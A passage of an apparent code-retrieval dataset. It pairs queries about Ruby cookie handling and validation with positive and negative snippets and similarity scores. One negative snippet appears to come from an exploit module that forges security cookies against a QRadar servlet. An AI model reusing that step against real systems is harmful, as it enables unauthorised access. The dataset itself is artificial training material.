"def _fail_because_missing(missing_frags)\n fail <<-MSG\n You have not specified a valid environment. The following machine fragments\n require additional dependencies:\n\n #{PP.pp(missing_frags, '')}\n MSG\n end",
"def has_parts?\n @parts ||= Array.new\n !@parts.empty?\n end",
"def has_required_fields\n return unless format.is_a?(LocalPostal::Format)\n\n format.required_fields.each do |field|\n field_name = self.class.formatting_variables_lookup_table[field.to_sym]\n value = public_send(field_name)\n errors.add(field_name, 'is required') if \"#{value}\".empty?\n end\n end",
"def requirements\n required.map(&:to_s) | url.keys\n end",
"def validate_required\n [\n :project_name,\n :status,\n :requester_id,\n :subject_expert_id,\n :sponsor_id,\n :vision,\n :goal,\n :description,\n :scope,\n :advice_required,\n :program_id,\n :train_id,\n :funding_method,\n :cost_center,\n :funding_status,\n :budget_allocated,\n :priority,\n :start_date,\n :end_date,\n :risk_rating,\n :risks,\n :projected_revenue,\n ].each do |field|\n if self.attributes[field.to_s].nil? || self.attributes[field.to_s].blank?\n # intentionally vague!\n add_validation 'All fields are required to perform further validations'\n return false\n end\n end\n true\n end",
"def validate_partition_fields(partition_fields, attribute_names)\n partition_fields.select do |partition_field|\n unless attribute_names.insert(-1, 'convergdb_batch_id').include?(partition_field)\n raise \"partition field #{partition_field} undefined in relation #{@name}\"\n end\n end\n nil\n end",
"def check_active_requirements\n if sections.empty? || sections.collect(&:questions).empty?\n errors.add(:base, 'Survey without sections or questions cannot be saved')\n end\n end",
"def has_three_bonus_parts\n # placeholder\n # will fill in if issue of accidentally not associating bonus parts\n # becomes actually problematic\n end",
"def ensure_not_referenced_by_any_recipe\n unless recipes.empty?\n errors.add(:base, ' - recipes present for this ingredient')\n throw :abort\n end\n end",
"def missing_keys_from(required_keys)\n required_keys.select{ |k| self.get(k).to_s.empty? }\n end",
"def assert_valid\n raise ValidationError, \"no name\" unless name\n raise ValidationError, \"no version\" unless version\n raise ValidationError, \"no summary\" unless summary\n #raise ValidationError, \"no maintainer\" unless maintainer\n #raise ValidationError, \"no homepage\" unless homepage\n end",
"def deps_satisfied?(deps)\n deps.each do |dep|\n if dep.to_s =~ /^no_(.*)$/\n return false if @used_legos.include?( $1 )\n else\n return false unless @used_legos.include?( dep.to_s )\n end\n end\n\n true\nend",
"def guard_required!\n required.each do |key|\n raise ArgumentError, \"Missing required attribute #{key}\" if self[key].nil?\n end\n end",
"def required?\n @required\n end",
"def required?\n @required\n end",
"def required?\n @required\n end",
"def required?\n @required\n end",
"def validate_required!\n raise UserMissing if user.nil?\n raise PaymentMissing if payment.nil? || !payment.valid?\n end",
"def required(gem_name, gem_install_name = nil)\n Required::required gem_name, gem_install_name\nend",
"def check_if_spec_is_empty\n methods = %w( source_files resources preserve_paths dependencies vendored_libraries vendored_frameworks )\n empty_patterns = methods.all? { |m| consumer.send(m).empty? }\n empty = empty_patterns && consumer.spec.subspecs.empty?\n if empty\n error \"The #{consumer.spec} spec is empty (no source files, \" \\\n \"resources, preserve paths, vendored_libraries, \" \\\n \"vendored_frameworks dependencies or subspecs).\"\n end\n end",
"def has_elements? desired_elements \n return which_elements_missing?(desired_elements).empty?\n end",
"def must_contain(parms, list)\n list.each do |i|\n raise \"#{i.to_s} required\" unless parms[i]\n end\nend",
"def ensure_not_referenced_by_any_line_item\n unless line_items.empty?\n errors.add(:base, 'Line Items present')\n throw :abort\n end\n end",
"def ensure_not_referenced_by_any_line_item_product\n unless line_item_products.empty?\n errors.add(:base, 'Line Items Products present')\n throw :abort\n end\n end",
"def required?\n @required\n end",
"def missing_required(attr = 'name')\n fail MissingRequired, \"Cannot store data without a #{attr} attribute.\"\n end",
"def required_params_present?\n\n render json: {error: 'Missing required parameter: result'},\n status: :bad_request and return false unless params[:result]\n\n render json: {error: 'Missing required parameter: result.result_type'},\n status: :bad_request and return false unless params[:result][:result_type]\n\n # Manual Results are required to provide the execution id.\n # All other results are required to provide the project_id\n if params['result']['result_type'] == 'manual'\n render json: {error: 'Missing required parameter: result.execution_id'},\n status: :bad_request and return false unless params[:result][:execution_id]\n else\n render json: {error: 'Missing required parameter: result.project_id'},\n status: :bad_request and return false unless params[:result][:project_id]\n end\n\n\n render json: {error: 'Missing required parameter: result.testcase_id'},\n status: :bad_request and return false unless params[:result][:testcase_id]\n\n render json: {error: 'Missing required parameter: result.environment_id'},\n status: :bad_request and return false unless params[:result][:environment_id]\n\n\n render json: {error: 'Missing required parameter: result.status'},\n status: :bad_request and return false unless params[:result][:status]\n\n true\n end",
"def document_has_required_fields?\n [value_field, reverse_shelfkey_field, shelfkey_field, combined_key_field].each do |field|\n return false if @original_document[field].blank?\n end\n true\n end"
] |
[
"0.63505703",
"0.626776",
"0.6202635",
"0.61618435",
"0.61610097",
"0.6106957",
"0.60681283",
"0.60567874",
"0.6025397",
"0.5999005",
"0.59525275",
"0.59384006",
"0.5915372",
"0.59115845",
"0.5898733",
"0.5857568",
"0.5852387",
"0.58411586",
"0.58411586",
"0.58411586",
"0.5831966",
"0.58189625",
"0.57903713",
"0.5775661",
"0.57709473",
"0.5763401",
"0.5754913",
"0.5748931",
"0.5739908",
"0.57379645",
"0.5732853",
"0.57327485",
"0.5730369",
"0.57267046",
"0.5723848",
"0.5710801",
"0.5710801",
"0.57107514",
"0.5707949",
"0.5685825",
"0.56627274",
"0.56464237",
"0.56361556",
"0.56361556",
"0.5627476",
"0.5597027",
"0.55891126",
"0.55816734",
"0.5570543",
"0.5562513",
"0.55622214",
"0.5561274",
"0.5560677",
"0.5560677",
"0.5560677",
"0.5557372",
"0.5556981",
"0.55547667",
"0.55526227",
"0.55518794",
"0.5540317",
"0.5537443",
"0.5535761",
"0.5535617",
"0.553519",
"0.55311674",
"0.5530168",
"0.55298495",
"0.55298495",
"0.55298495",
"0.5519607",
"0.55195844",
"0.5510542",
"0.55053467",
"0.5505",
"0.5504807",
"0.5496576",
"0.5494367",
"0.54869735",
"0.5483926",
"0.5479077",
"0.5470541",
"0.5467761",
"0.54525423",
"0.5452284",
"0.5449194",
"0.5449194",
"0.5449194",
"0.5449194",
"0.54449713",
"0.54427147",
"0.5429887",
"0.5429337",
"0.54279864",
"0.5427505",
"0.5421537",
"0.5420309",
"0.54195017",
"0.541188",
"0.5402417"
] |
0.70998764
|
0
|
SetCookie: =[; =]...[; expires=][; domain=][; path=][; secure][; httponly]
|
def set_cookie options
options ||= {}
@header["Set-Cookie"] = options.collect{|key,value|"#{key}=#{value}"}.join("; ")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_cookies(response)\n cookie_str = response.header['set-cookie']\n return if cookie_str.nil?\n\n fields = cookie_str.split(\"; \").inject({}) { |h, field|\n key, value = field.split(\"=\")\n h[key] = value\n\n h\n }\n\n # This is obviously not a generalized cookie implementation. Heh.\n fields.delete('path')\n @cookies = fields\n end",
"def set_cookie(src, dst)\n if str = src['set-cookie']\n cookies = []\n str.split(/,\\s*/).each{|token|\n if /^[^=]+;/o =~ token\n cookies[-1] << \", \" << token\n elsif /=/o =~ token\n cookies << token\n else\n cookies[-1] << \", \" << token\n end\n }\n dst.cookies.replace(cookies)\n end\n end",
"def encode_set_cookie h, secure\n secure = @secure unless @secure.nil?\n expire = (Time.now + @expire).gmtime.rfc2822 if @expire\n # NOTE +encode h+ may return empty value, but it's still fine\n \"Set-Cookie: #{@name}=#{encode h}; Path=/; HttpOnly#{'; Secure' if secure}#{\"; Expires=#{expire}\" if expire}\\r\\n\"\n end",
"def set_cookie(response)\n\t\ttest_cookie = response.get_fields('set-cookie')\n\n\t\tif @cookie_array.include? test_cookie\n\t\t\t@cookies\n\t\telse\n\t\t\t@cookie_array << test_cookie\n \t\t\t@cookies = @cookie_array.join('; ')\n \t\tend\n\t\t#@cookies = response.get_fields('set-cookie')\n\tend",
"def set_cookie(name, value, attributes = {})\n cookie = Webmachine::Cookie.new(name, value, attributes).to_s\n case headers['Set-Cookie']\n when nil\n headers['Set-Cookie'] = [cookie]\n when Array\n headers['Set-Cookie'] << cookie\n end\n end",
"def manually_set_cookie(value, expire_in)\n expire_date = expire_in.from_now.gmtime.strftime('%a, %d %b %Y %H:%M:%S GMT')\n response['Set-Cookie'] =\n \"cookiePermissions=#{value}; Expires=#{expire_date}; Path=/; SameSite=Lax\"\n end",
"def set_cookie(name, value, path = '/', httponly = true, secure = true)\n \n cookie = WEBrick::Cookie.new(name, value)\n cookie.path = path\n cookie.httponly = httponly\n cookie.secure = secure\n \n # add cookie to response header\n @header['Set-Cookie'] = cookie.to_s\n end",
"def add_set_cookie *ck\n\t\t\tif ck.length > 0\n\t\t\t\th = (@headers[\"Set-cookie\"] ||= [])\n\t\t\t\tck.each {|c| h << c}\n\t\t\tend\n\t\tend",
"def add_cookies(response)\n return unless response.key?('set-cookie')\n response.get_fields('set-cookie').each do |cookie|\n (key, val) = cookie.split('; ')[0].split('=', 2)\n cookies[key] = val\n end\n end",
"def set_cookie(name, value, expires)\n (headers['Set-Cookie'] ||=[]) << (Merb::Const::SET_COOKIE % [\n name.to_s, \n ::Merb::Request.escape(value.to_s), \n # Cookie expiration time must be GMT. See RFC 2109\n expires.gmtime.strftime(Merb::Const::COOKIE_EXPIRATION_FORMAT)\n ])\n end",
"def set_cookie(options) #:doc:\n options[\"path\"] = \"/\" unless options[\"path\"]\n cookie = CGI::Cookie.new(options)\n @controller.logger.info \"Cookie set: #{cookie}\" unless @controller.logger.nil?\n @controller.response.headers[\"cookie\"] << cookie\n end",
"def hubssolib_set_secure_cookie_data(name, value)\n if (@hubssolib_have_written_cookie)\n raise \"HubSsoLib: Attmept to set cookie '#{name}' more than once\"\n end\n\n @hubssolib_have_written_cookie = true\n\n # Using cookies.delete *should* work but doesn't. Set the\n # cookie with nil data instead.\n\n data = value.nil? ? nil : HubSsoLib::Crypto.encode_object(value, request.remote_ip)\n\n # No expiry time; to aid security, use session cookies only.\n\n cookies[name] = {\n :value => data,\n :path => HUBSSOLIB_COOKIE_PATH,\n :secure => true\n }\n end",
"def set_cookie(cookie=nil)\n self.headers[\"Cookie\"] = cookie\n end",
"def cookie= cookie_str\n @headers['Cookie'] = cookie_str if @use_cookies\n end",
"def cookie= cookie_str\n @headers['Cookie'] = cookie_str if @use_cookies\n end",
"def set_cookie(cookie_name, value, expires)\n cookies[cookie_name.to_sym] = {\n value: value,\n expires: expires,\n domain: GlobalConstant::Base.cookie_domain,\n http_only: true,\n secure: Rails.env.production?,\n same_site: :strict\n }\n end",
"def set_cookie(response)\n response.set_cookie(Webmetrics::Config.cookie_name, {\n :value => self.id,\n :path => \"/\",\n :expires => Time.now+Webmetrics::Config.cookie_expiration\n })\n end",
"def set_cookie(key, value)\n ::Rack::Utils.set_cookie_header!(@_headers, key, value)\n end",
"def set_cookie(key, value)\n ::Rack::Utils.set_cookie_header!(@_headers, key, value)\n end",
"def cookie_jar=(cookie_jar); end",
"def http_cookie=(content)\n logger.debug { content ? \"Setting Cookie: #{content}\" : 'Clearing Cookie' }\n http.cookie = content\n end",
"def cookies(cookies); end",
"def cookies; end",
"def cookies; end",
"def cookies; end",
"def cookies; end",
"def cookies; end",
"def cookies; end",
"def cookies; end",
"def set_cookies\r\n @sec_cookie = SecureRandom.uuid\r\n @csrf_cookie = SecureRandom.uuid\r\n\r\n post_data = \"#{rand_text_alpha(5..12)},#{rand_text_alpha(5..12)},\" +\r\n \"#{@sec_cookie},#{@csrf_cookie}\"\r\n\r\n res = send_request_cgi({\r\n 'uri' => '/ForensicsAnalysisServlet/',\r\n 'method' => 'POST',\r\n 'ctype' => 'application/json',\r\n 'cookie' => \"SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};\",\r\n 'vars_get' =>\r\n {\r\n 'action' => 'setSecurityTokens',\r\n 'forensicsManagedHostIps' => \"#{rand(256)}.#{rand(256)}.#{rand(256)}.#{rand(256)}\"\r\n },\r\n 'data' => post_data\r\n })\r\n\r\n if res.nil? or res.code != 200\r\n fail_with(Failure::Unknown, \"#{peer} - Failed to set the SEC and QRadar CSRF cookies\")\r\n end\r\n end",
"def emulate_javascript_set_cookie\n @browser.get(HOST + \"Login.asp\")\n @browser.get(HOST + \"Search.asp\")\n end",
"def set_cookie name, value=nil, opts={}\n if Hash === value\n opts = value\n else\n opts[:value] = value\n end\n\n @response.set_cookie name, opts\n end",
"def set_cookie!\n cookies[:user_session] = {\n :value => token,\n :secure => controller.request.ssl?,\n :httponly => true,\n :expires => self.expires_at\n }\n end",
"def cookies\n WEBrick::Cookie.parse_set_cookies(@headers['set-cookie']) rescue []\n end",
"def set_cookie(cookie_name, value, expires, encrypt=false)\n cookie_obj = (encrypt == true) ? cookies.encrypted : cookies\n cookie_obj[cookie_name.to_sym] = {\n value: value,\n expires: expires,\n domain: request.host,\n http_only: true,\n secure: !(Rails.env.development? || Rails.env.staging?),\n same_site: :strict\n }\n end",
"def get_cookie(data)\n if data['set-cookie']\n t = []\n data['Set-Cookie'].split(\", \").map{|c|\n tmp = c.scan(/([a-zA-Z0-9_\\-\\.]*=[^;]*)/).flatten\n tmp.delete_if{|cc| cc.downcase.include?(\"path\")}\n tmp.delete_if{|cc| cc.downcase.include?(\"expires\")}\n tmp.delete_if{|cc| cc.downcase.include?(\"domain\")}\n t << tmp\n }\n if t.length == 1\n @cookie = @cookie + t.join(\"; \")\n else\n @cookie = t.join(\"; \")\n end\n end\n end",
"def []= key, val\n return if confined?\n @response.set_cookie key, val\n end",
"def set(resource)\n @cookies.signed[cookie_name] = {value: [resource.id, Time.now.to_i]}.merge(cookie_options)\n end",
"def set_cookie(env, headers, cookie)\n Utils.set_cookie_header!(headers, @key, cookie)\n end",
"def set_cookie(env, headers, cookie)\n request = Rack::Request.new(env)\n if request.cookies[@key] != cookie[:value] || cookie[:expires]\n Utils.set_cookie_header!(headers, @key, cookie)\n end\n end",
"def cookie\n self[HttpClient::SET_COOKIE]\n end",
"def cookies\n WEBrick::Cookie.parse_set_cookies(headers['Set-Cookie']) rescue []\n end",
"def add_cookies!(request)\n request['Cookie'] = @cookies.collect{|k, v| \"#{k}=#{v}\"}.join(\", \")\n end",
"def set_WithCookie(value)\n set_input(\"WithCookie\", value)\n end",
"def set_cookies\n session_key = request.session_options[:id]\n\n if(!session_key.nil?)\n # Set the cookie the standard way (Set-Cookie)\n response.set_cookie(MOBILE_KEY, session_key)\n # Set the cookie the way the Android client expects it (set-cookie)\n headers[\"set-cookie\"] = headers[\"Set-Cookie\"]\n end\n end",
"def collect_cookies_from_response; end",
"def set_cookie(uri, sc)\n cookie = Cookie.new\n name, sc = sc.split '=', 2\n value, sc = sc.split ';', 2\n cookie.name, cookie.value = CGI::unescape(name), CGI::unescape(value)\n \n opts = {}\n sc && sc.split(';').each do |opt|\n opt, optval = opt.split '=', 2\n opts[opt.downcase] = (optval && CGI::unescape(optval)) || true\n end\n \n # restrict by domain-- not spec-compliant and possibly unsafe (allows \n # infinite levels of subdomains)\n if opts['domain'] && opts['domain'] != uri.host\n if opts['domain'].end_with?('.'+uri.host)\n cookie.domain = opts['domain']\n else\n return false\n end\n else\n cookie.domain = uri.host\n end\n \n if opts['path']\n cookie.path = opts['path']\n else\n # the resource path is the \"directory\" containing the request path\n ri = uri.path.rindex '/'\n cookie.path = ri ? uri.path[0..ri] : '/'\n end\n \n if opts['expires']\n begin\n cookie.expires = DateTime.parse opts['expires']\n rescue ArgumentError; end\n end\n \n cookie.secure = opts.has_key?('secure')\n \n @jar << cookie\n return true\n end",
"def set_cookie(request_uri, set_cookie_value)\n request_uri = URI.parse(request_uri)\n \n CookieStore::Cookie.parse_cookies(request_uri, set_cookie_value) do |cookie|\n # reject as per RFC2965 Section 3.3.2\n return if !cookie.request_match?(request_uri) || !(cookie.domain =~ /.+\\..+/ || cookie.domain == 'localhost')\n \n # reject cookies over the max-bytes\n return if cookie.to_s.size > MAX_COOKIE_LENGTH\n \n add(cookie)\n end\n end",
"def cookies\n @cookies ||= (self.headers[:set_cookie] || \"\").split('; ').inject({}) do |out, raw_c|\n key, val = raw_c.split('=')\n unless %w(expires domain path secure).member?(key)\n out[key] = val\n end\n out\n end\n end",
"def set_cookie(cookie, uri = nil)\n cookie_jar.merge(cookie, uri)\n end",
"def setCookies(cookies)\n @fields['cookies'] = cookies\n self\n end",
"def setCookies(cookies)\n @fields['cookies'] = cookies\n self\n end",
"def cookie_jar=(_arg0); end",
"def cookie_jar=(_arg0); end",
"def parse(set_cookie, options = nil, &block)\n if options\n logger = options[:logger]\n origin = options[:origin] and origin = URI(origin)\n end\n\n [].tap { |cookies|\n set_cookie.split(/,(?=[^;,]*=)|,$/).each { |c|\n cookie_elem = c.split(/;+/)\n first_elem = cookie_elem.shift\n first_elem.strip!\n key, value = first_elem.split(/\\=/, 2)\n\n begin\n cookie = new(key, value.dup)\n rescue\n logger.warn(\"Couldn't parse key/value: #{first_elem}\") if logger\n next\n end\n\n cookie_elem.each do |pair|\n pair.strip!\n key, value = pair.split(/=/, 2) #/)\n next unless key\n value = WEBrick::HTTPUtils.dequote(value.strip) if value\n\n case key.downcase\n when 'domain'\n next unless value && !value.empty?\n begin\n cookie.domain = value\n cookie.for_domain = true\n rescue\n logger.warn(\"Couldn't parse domain: #{value}\") if logger\n end\n when 'path'\n next unless value && !value.empty?\n cookie.path = value\n when 'expires'\n next unless value && !value.empty?\n begin\n cookie.expires = Time.parse(value)\n rescue\n logger.warn(\"Couldn't parse expires: #{value}\") if logger\n end\n when 'max-age'\n next unless value && !value.empty?\n begin\n cookie.max_age = Integer(value)\n rescue\n logger.warn(\"Couldn't parse max age '#{value}'\") if logger\n end\n when 'comment'\n next unless value\n cookie.comment = value\n when 'version'\n next unless value\n begin\n cookie.version = Integer(value)\n rescue\n logger.warn(\"Couldn't parse version '#{value}'\") if logger\n cookie.version = nil\n end\n when 'secure'\n cookie.secure = true\n end\n end\n\n cookie.secure ||= false\n\n # RFC 6265 4.1.2.2\n cookie.expires = Time.now + cookie.max_age if cookie.max_age\n cookie.session = !cookie.expires\n\n if origin\n begin\n cookie.origin = origin\n rescue => e\n logger.warn(\"Invalid cookie for the origin: #{origin} (#{e})\") if logger\n next\n end\n end\n\n yield cookie if block_given?\n\n cookies << cookie\n }\n }\n end",
"def cookie\n # 'frontend=aaa'\n nil\n end",
"def cookie_path=(_arg0); end",
"def []=(name, value)\n if value.is_a?(Hash)\n value = value.collect {|key, val| \"#{key}=#{val.gsub('=', '^^')}\" }.join('|')\n end\n options = { :value => value }\n\n options[:path] = \"/\" unless options.has_key?(:path)\n super(name.to_s, options[:value])\n @controller.response.set_cookie(name, options)\n end",
"def stash_cookie\n cookies[self.class.els_options['cookie']] = {\n :value => @els_identity.token_id,\n :domain => request.env[\"SERVER_NAME\"],\n :path => '/',\n :expires => Time.now + 24.hours\n }\n end",
"def create_cookies(username, password)\r\n\t\tcookies.signed[:username] = { \r\n\t \t\tvalue: username,\r\n\t \t\texpires: 1.weeks.from_now }\r\n\t \tcookies.signed[:pwd] = {\r\n\t \t\tvalue: password,\r\n\t \t\texpires: 1.weeks.from_now }\r\n\tend",
"def set_cookie(name, value)\n @cookies[\"flexi_#{@id}_#{name}\"] = value\n return value\n end",
"def passive\n m=[]\n m << {:name=>\"CAKEPHP Cookie\" } if @headers[\"set-cookie\"] =~ /CAKEPHP=.*/\n m\nend",
"def cookies() @_cookies ||= ::Merb::Cookies.new(request.cookies, @_headers) end",
"def set_uuid_cookie\n uuid = cookies[:uuid] || UUIDTools::UUID.random_create.to_s\n cookies[:uuid] = { value: uuid, expires: 5.years.from_now }\n end",
"def parse_set_cookie(all_cookies_string)\n cookies = Hash.new\n \n # if all_cookies_string.present?\n # single cookies are devided with comma\n all_cookies_string.split(',').each {\n # @type [String] cookie_string\n |single_cookie_string|\n # parts of single cookie are seperated by semicolon; first part is key and value of this cookie\n # @type [String]\n cookie_part_string = single_cookie_string.strip.split(';')[0]\n # remove whitespaces at beginning and end in place and split at '='\n # @type [Array]\n cookie_part = cookie_part_string.strip.split('=')\n # @type [String]\n key = cookie_part[0]\n # @type [String]\n value = cookie_part[1]\n\n # add cookie to Hash\n cookies[key] = value\n }\n \n cookies\n end",
"def delete_all_cookies; end",
"def set_cookie(name, value)\n test_cookies[name] = value\n end",
"def server_cookies(response)\n raw_cookies = response.headers['Set-Cookie']\n return if raw_cookies.blank?\n\n raw_cookies.map { |ck| parse_server_cookie(ck) }\n end",
"def set_data_in_cookie(data)\n cookies[:merged_response] = {\n :value => data,\n :expires => 1.hour.from_now,\n \n }\n end",
"def cookie_jar; end",
"def cookie_jar; end",
"def cookie_jar; end",
"def cookie_jar; end",
"def send_cookie(name, value = nil)\n @context.add_cookie(name, value)\n end",
"def set_pickup_cookies!\n if @pickup\n cookies[:pickup_id] = @pickup.id\n cookies[:key] = @pickup.key\n elsif params[:pickup_id] && params[:key]\n cookies[:pickup_id] = params[:pickup_id]\n cookies[:key] = params[:key]\n end\n end",
"def set_auth_tkt_cookie(options)\n # get signed cookie string\n tkt_hash = get_tkt_hash(options)\n\n cookie_data = { :value => tkt_hash }\n\n # set domain for cookie, if wanted\n cookie_data[:domain] = options[:domain] if options[:domain]\n\n # store data into cookie\n cookies[:auth_tkt] = cookie_data\n\n # return signed cookie\n return tkt_hash\n end",
"def cookie_jar= cookie_jar\n @agent.cookie_jar = cookie_jar\n end",
"def cookie(name, value = nil, duration = 15)\n if value\n response.set_cookie name, { \n :value => value,\n :expires => Time.now + (60 * duration),\n :path => \"/\",\n :httponly => true,\n :secure => production?\n }\n else\n request.cookies[name]\n end\n end",
"def cookie_named(name); end",
"def cookie\n { :value => Crypt.encrypt(cookie_value), :expires => 1.year.from_now }\n end",
"def set_login_cookie(crawler_name=nil, crawler_password=nil, ip=nil, date=nil)\n crawler_name ||= @crawler_name\n crawler_password ||= @crawler_password\n ip ||= \"127.0.0.1\"\n date ||= 2.days.from_now\n\n cookie_jar = ActionDispatch::Request.new(Rails.application.env_config.deep_dup).cookie_jar\n cookie_jar.signed[AdsenseCrawlerForPrivate.cookie_name] =\n AdsenseCrawlerForPrivate.cookie_str(crawler_name, crawler_password, date, ip)\n\n cookies[AdsenseCrawlerForPrivate.cookie_name] = cookie_jar[AdsenseCrawlerForPrivate.cookie_name]\n end",
"def set_cookie_value\n cookie_value = User.using_client_shard(client: @client).get_cookie_value(@user.id, @user.password, @browser_user_agent)\n success_with_data({cookie_value: cookie_value, user_token_sale_state: @user.get_token_sale_state_page_name})\n end",
"def set_initial_cookies\n @initial_cookies = {}\n request.cookies.each {|k,v|\n @initial_cookies[k] = v\n }\n end",
"def refresh_credentials(cookies)\n cookies['dc_logged_in'] = {:value => 'true', :expires => 1.month.from_now, :httponly => true}\n end",
"def set_cookie\n puts \"hello\"\n # puts @order.as_json\n puts \"-==-=-=-\"\n puts \"-==-=-=-\"\n puts cookies[:name] = current_admin.name\n puts \"-==-=-=-\"\n puts \"-==-=-=-\"\n end",
"def set_api_response_cookie(http_response)\n all_set_cookies = http_response.get_fields('set-cookie')\n return if all_set_cookies.blank?\n\n new_api_cookies = {}\n all_set_cookies.each do |api_cookie|\n api_cookie_elements = api_cookie.split(\"; \")\n cookie_name = ''\n api_cookie_elements.each_with_index do |c_element, i|\n Rails.logger.debug(\"new_api_cookies :: #{c_element.inspect}\")\n c_sub_element = c_element.split('=', 2)\n c_sub_element_key = CGI::unescape(c_sub_element[0])\n c_sub_element_value = CGI::unescape(c_sub_element[1]) if c_sub_element[1].present?\n # Zeroth element is cookie name and value\n if i == 0\n cookie_name = c_sub_element_key\n new_api_cookies[cookie_name] = {value: c_sub_element_value, domain: GlobalConstant::CompanyApi.cookie_domain}\n elsif c_sub_element_key == \"expires\"\n new_api_cookies[cookie_name][c_sub_element_key.to_sym] = Time.zone.parse(c_sub_element_value)\n elsif c_sub_element_key == \"domain\"\n new_api_cookies[cookie_name][c_sub_element_key.to_sym] = c_sub_element_value\n elsif c_sub_element_key == \"secure\"\n new_api_cookies[cookie_name][c_sub_element_key.to_sym] = Rails.env.production?\n elsif c_sub_element_key == \"HttpOnly\"\n new_api_cookies[cookie_name][:http_only] = true\n elsif c_sub_element_key == \"SameSite\"\n new_api_cookies[cookie_name][:same_site] = c_sub_element_value\n else\n new_api_cookies[cookie_name][c_sub_element_key.to_sym] = c_sub_element_value\n end\n\n end\n end\n\n Rails.logger.debug(\"new_api_cookies :: #{new_api_cookies.inspect}\")\n @cookies[GlobalConstant::Cookie.new_api_cookie_key.to_sym] = new_api_cookies\n end",
"def cookie_path; end",
"def set_csrf_cookie\n cookies['XSRF-TOKEN'] = form_authenticity_token if protect_against_forgery?\n end",
"def set_cookies_for_user(resource)\n cookies[:c_user] = {value: resource.email, expires: 2.year.from_now}\n end",
"def cookies; @cookies ||= CookieJar.new; end",
"def set_third_party_cookie_fix\n cookies['safari_cookie_fix'] = params[:_session_id]\n redirect_to params[:redirect_to] \n end",
"def set_cookies?\n ret = FormArray.new()\n self.header_data.each do |x|\n if x[0].upcase == \"SET-COOKIE\"\n ret << x[1].split(\";\").first.split(\"=\",2)\n end\n end\n ret\n end",
"def cookies(path=\"/\")\n _cookies(path_to_array(path))\n end",
"def set_sso_cookie!\n Rails.logger.info('SSO: ApplicationController#set_sso_cookie!', sso_logging_info)\n\n return unless Settings.sso.cookie_enabled && @session_object.present?\n\n encryptor = SSOEncryptor\n encrypted_value = encryptor.encrypt(ActiveSupport::JSON.encode(sso_cookie_content))\n cookies[Settings.sso.cookie_name] = {\n value: encrypted_value,\n expires: nil, # NOTE: we track expiration as an attribute in \"value.\" nil here means kill cookie on browser close.\n secure: Settings.sso.cookie_secure,\n httponly: true,\n domain: Settings.sso.cookie_domain\n }\n end",
"def http_cookie\n http.cookie\n end",
"def add_cookies(headers)\n cookies = headers[:cookie]\n cookies_hash = Hash.new\n return false unless cookies\n cookies.split('&').each do |string|\n k,v = string.split('=')\n cookies_hash[convert_key(k)] = v\n end\n @params[:cookie] = cookies_hash\n end",
"def set_csrf_cookie\n csrf_cookie_key = 'XSRF-TOKEN'\n cookies[csrf_cookie_key] = form_authenticity_token if protect_against_forgery? && current_user\n end",
"def index\n for i in 1..200\n #cookies[\"cookie \"+i.to_s] = { value: \"Guru \"+i.to_s, secure: true}\n end\n end",
"def store_cookie variable_name\r\n command 'storeCookie', variable_name\r\n end",
"def cookie_value; end"
] |
[
"0.74554664",
"0.7346372",
"0.73437965",
"0.7339657",
"0.722675",
"0.7197083",
"0.7106873",
"0.70891815",
"0.7076132",
"0.70603925",
"0.6939609",
"0.688597",
"0.68459064",
"0.68241686",
"0.68241686",
"0.68169785",
"0.68069786",
"0.6794069",
"0.6794069",
"0.6786588",
"0.6752048",
"0.67339087",
"0.671085",
"0.671085",
"0.671085",
"0.671085",
"0.671085",
"0.671085",
"0.671085",
"0.67023593",
"0.6643675",
"0.6637847",
"0.6579226",
"0.6573751",
"0.65703017",
"0.65687656",
"0.6528534",
"0.64949065",
"0.6485553",
"0.6472835",
"0.64668506",
"0.6459813",
"0.64530957",
"0.644481",
"0.644083",
"0.6409328",
"0.6404509",
"0.6401633",
"0.63890994",
"0.6383725",
"0.6382082",
"0.6382082",
"0.63584995",
"0.63584995",
"0.6344783",
"0.6335441",
"0.6330715",
"0.63303936",
"0.632741",
"0.6326387",
"0.63260806",
"0.63170916",
"0.63162005",
"0.6309478",
"0.6278532",
"0.6271644",
"0.62645483",
"0.62456834",
"0.62417513",
"0.6235971",
"0.6235971",
"0.6235971",
"0.6235971",
"0.62263596",
"0.6213104",
"0.62089014",
"0.6198432",
"0.6182869",
"0.6167408",
"0.6152646",
"0.6119649",
"0.6098831",
"0.60879004",
"0.6087871",
"0.6064485",
"0.60633487",
"0.60609174",
"0.60535985",
"0.6052483",
"0.6042852",
"0.6020121",
"0.6018652",
"0.6017972",
"0.6013204",
"0.6009932",
"0.6003218",
"0.5998271",
"0.5988808",
"0.59865296",
"0.5966951"
] |
0.72899604
|
4
|
Ignore any snippets that start with an underscore
|
def existing_resource_snippets_paths
Dir["#{snippets_path}/*#{template_ext}"].reject { |path| File.basename(path).start_with?('_') }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def trim_underscore_prefix(name)\n if config['allow_leading_underscore']\n # Remove if there is a single leading underscore\n name = name.gsub(/^_(?!_)/, '')\n end\n\n name\n end",
"def trim_underscore_prefix(name)\n if config['allow_leading_underscore']\n # Remove if there is a single leading underscore\n name = name.sub(/^_(?!_)/, '')\n end\n\n name\n end",
"def underscore_vars\r\n self.gsub(/\\b[a-z][a-z]*(?:[A-Z][a-z]*)(?:[A-Z][a-z]*)*\\b/) {|word|\r\n word.underscore\r\n }\r\n end",
"def ignore?\n input.to_s[0] == '_'\n end",
"def underscore code\n code.\n gsub(/\\bload\\b/, '_load').\n gsub(/\\brels\\b/, '_rels').\n gsub(/\\bnode\\b/, '_node')\n end",
"def unless_valid_underscored_identifier(str)\n if str =~ /[^0-9a-z_]/ || str =~ /^[0-9]/\n yield\n end\n end",
"def underscore_with_customizations(camel_cased_word)\n word = camel_cased_word.gsub('GitHub', 'Github').\n gsub('ITunes', 'Itunes')\n underscore_without_customizations(word)\n end",
"def sr\n underscore.gsub('_', '.?').cpp\n end",
"def underscore(text)\n text.gsub(/[a-z0-9][A-Z]/) do |match|\n match[0,1] + '_' + match[1,1].downcase\n end\n end",
"def underscore\n dup.underscore!\n end",
"def underscore\n started = false\n split(/([A-Z])/).inject([]) do |parts, word|\n if word.size == 1 && word =~ /[A-Z]/\n parts << \"_\" if started\n end\n\n if word.size > 0\n parts << word.downcase\n started = true\n end\n parts\n end.join\n end",
"def hide_word(word)\n word.split('').map { '_' }.join\n end",
